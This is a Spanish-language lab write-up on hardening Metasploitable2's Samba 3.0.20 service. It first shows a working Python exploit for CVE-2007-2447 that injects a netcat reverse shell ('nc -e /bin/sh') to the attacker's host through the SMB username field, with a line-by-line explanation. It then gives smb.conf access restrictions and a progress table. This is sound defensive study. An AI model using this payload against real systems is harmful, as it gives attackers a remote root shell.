Este es un nuevo proyecto de Hardening para el laboratorio Metasploitable2. Este laboratorio es conocido por tener múltiples vulnerabilidades que como atacante podemos sacar provecho y comprometer la máquina. Pero esta vez nos pondrémos en los zapatos del equipo defensivo y aplicaremos configuraciones correctas para volver Metasploitable 2 una máquina segura.
Los objetivos del proyecto serán:
- Reducir la superficie de ataque.
- Corregir fallas de configuración.
- Implementar contramedidas.
- Validar la postura de seguridad.
Metodología:
- Inspección y validación de la vulnerabilidad. Remediación (Hardening).
- Validación de seguridad.
- Esta máquina tiene múltiples puertos y vulnerabilidades habilitados.
-
Es por eso que iremos resolviéndolas por servicios por separado.
139 - Netbios-ssn / Samba 3.0.20

Podemos ver que el en puerto 139 la máquina objetivo corre el servicio de samba 3.0.20. Este servicio tiene una vulnerabilidad asociada a CVE-2007-2447. El fallo ocurre porque Samba no sanitiza correctamente los nombres de usuarios que se le envían al iniciar sesión, permitiendo inyectar comandos a través de caracteres especiales si hay un script de mapeo activo.
Explotación
Para explotar este servicio deberemos crear un script en python (me ayudé con la IA, ya que realizarlo de manera manual no se pudo por los bloqueos de seguridad de las aplicaciones actualizadas)
#!/usr/bin/env python3
from impacket.smbconnection import SMBConnection
# Configuración del escenario
target_ip = "IP VÍCTIMA" # IP de tu Metasploitable 2
kali_ip = "IP ATACANTE" # Tu IP de Kali
kali_port = 443 # El puerto donde escucharás
# El payload con el prefijo /= que descubrimos en el código fuente
payload = f"/=`nohup nc -e /bin/sh {kali_ip} {kali_port} &`"
print(f"[*] Enviando inyección de comandos al puerto 139 de {target_ip}...")
try:
# Abre la conexión pura al puerto 139
conn = SMBConnection(target_ip, target_ip, sess_port=139)
# Envía el payload en el campo de usuario para detonar la vulnerabilidad
conn.login(payload, "password")
except Exception:
# El servidor forzará un cierre de conexión al ejecutar el nc, esto es buena señal
print("[+] Carga útil enviada. Revisa tu Netcat.")
Explicación del Script
` from impacket.smbconnection import SMBConnection ` : Es el conjunto de librerías por excelencia en auditorías de red.
SMBConnection: En lugar de usar comandos del sistema como smbclient (que fue el causante de los errores al realizarlo de forma manual), esta clase nos permite construir una conexión SMB cruda. Nos da el poder de meter en el campo de “Nombre de usuario” cualquier carácter extraño que queramos, obligando al servidor a recibirlo exactamente como lo enviamos.
La carga útil
payload = f"/=`nohup nc -e /bin/sh {kali_ip} {kali_port} &`"
El prefijo /= Obliga al analizador de texto (parser) de Samba a romper la lógica normal de autenticación y a pasar el resto de la línea directamente a la consola interna del sistema operativo (de la víctima).
Comillas invertidas ( " “) : En Linux, todo lo que esté dentro de comillas invertidas se ejecuta como un comando prioritario del sistema operativo.
nohup... & : Ejecuta la reverse shell de forma inmortal en segundo plano. Así, aunque falle la conexión SMB o se caiga el intento de login, el proceso de Netcat seguirá vivo corriendo hacia nuestra máquina.
La inyección
conn = SMBConnection(target_ip, target_ip, sess_port=139)
conn.login(payload, "password")
sess_port=139: abre un socket directo contra el puerto 139.
conn.login(): Esta es la línea que detona el hackeo. El protocolo SMB exige un nombre de usuario para iniciar sesión. Nosotros le pasamos nuestra variable payload como si fuera un nombre de usuario.
Qué pasa internamente en Metasploitable?
Al recibir la petición por el puerto 139, Samba consulta a su archivo de configuración y activa una directiva para mapear el usuario.
Samba ejecuta una shell interna para procesar el script, pásandole el “nombre de usuario” que nosotros le dimos.
Al leer que empieza con /= y tiene comillas invertidas, la consola de Metasploitable ejecuta el comando inyectado nc -e /bin/sh 192.168.1.29 443.
El sistema operativo de la víctima ejecuta una terminal con los privilegios de quien ejecutó el servicio (Samba corre con privilegios de root), recibimos una shell de root en Netcat que teníamos en escucha.

Ahora que tenemos una shell como root, al igual que los casos anteriores, tenemos control total de la víctima.
Hardening
La mejor defensa consiste en limitar quién tiene permitido hablar con el protocolo SMB. Si el servicio no debe ser expuesto a toda la red, definimos una lista blanca estricta.
Para esto ubicamos el archivo de configuración de Samba.
` /etc/samba/smb.conf `
En este archivo añadimos las directivas para denegar todo el tráfico externo por defecto, permitiendo únicamente las IP de confianza (Por temas de laboratorio solo pondré la del localhost).
[global]
hosts allow = 127.0.0.1 192.168.1.29
hosts deny = ALL
Ya que estamos en el archivo de configuración, vamos a ocultar el banner con la versión de Samba, así mitigaremos el reconocimiento pasivo.

Reiniciamos el servicio de Samba para aplicar los cambios.
sudo /etc/init.d/samba restart

Con estas medidas ya no tenemos acceso por medio del script que escribimos en python, ni de forma manual con smbclient.
Avance
| Puerto | Servicio | Estado Inicial | Estado Actual | Acción de Hardening |
|---|---|---|---|---|
| 21 | FTP | Abierto vsftdp 2.3.4 (Acceso anónimo) |
Cerrado | Servicio deshabilitado en xinetd |
| 22 | SSH | Abierto | Usado para gestionar Metasploitable 2 | |
| 23 | Telnet | Abierto (acceso en texto plano) | Cerrado | Línea comentada en inet.conf y memoria purgada |
| 25 | SMTP | Abierto (Enumeración de usuarios vrfy) |
Bllindado | Directiva disable_vrfy_command = yes. |
| 53 | DNS | Abierto (Versión expuesta bind 9.4.2) |
Blindado y Ofuscado | ACLs restrictivas y ocultamiento de banner con version. |
| 80 | HTTP | Abierto (Cargado con aplicaciones web vulnerables) | Blindado | Aplicación de configuraciones de seguridad (Ocultar banner, desactivar listado de directorios, deshabilitar métodos HTTP inseguros). |
| 111 | RCPBIND | Abierto (portmap y nfs Vulnerables) |
Blindado | Aplicación de configuraciones de seguridad sobre NFS y controlar el acceso por Red con TPC Wrappers. |
| 139 | Samba 3.0.20 | Abierto (CVE-2007-2447) | Ofuscado | Directivas hosts allow = 127.0.0.1 / hosts deny = ALL y remoción de variables %h / %v en server string. |